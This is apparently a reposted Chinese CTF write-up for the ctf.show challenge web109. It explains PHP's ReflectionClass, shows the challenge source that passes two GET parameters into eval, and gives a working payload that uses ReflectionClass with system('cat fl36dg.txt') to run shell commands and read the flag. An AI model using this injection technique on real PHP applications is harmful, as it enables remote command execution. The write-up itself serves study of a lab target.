标签:Web ReflectionClass 反射 v2 v1 CTF fuc PHP
文章目录
一、简述
ReflectionClass反射类在PHP5新加入,它可以与已定义的类建立映射关系,通过反射类可以对类操作
//定义一个类
class fuc{
static
function methond(){
echo 'Hello World!';
}
}
//建立fuc类的反射类
$rc = new ReflectionClass('fuc');
//通过反射类实例化fuc类
$fuc = $rc->newInstance();
//执行类方法
$fuc->method();
反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))
来执行命令
二、PHP源码
题目来源:ctf.show——web入门_web109
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
三、方法及原理
已知了flag在./fl36dg.txt
,命令执行system(‘cat fl36dg.txt’)
获取flag,这里可以使用反射类new ReflectionClass()
即payload:?v1=ReflectionClass&v2=system('cat fl36dg.txt')
当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo
显示
即使传入了空的括号,代码依旧可以运行,且error_reporting(0)
的存在阻止了报错
<?php
error_reporting(0);
echo new ReflectionClass(system('ls')());
?>
>>index.php
标签:Web,ReflectionClass,反射,v2,v1,CTF,fuc,PHP 来源: https://blog.csdn.net/Xxy605/article/details/110109147
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。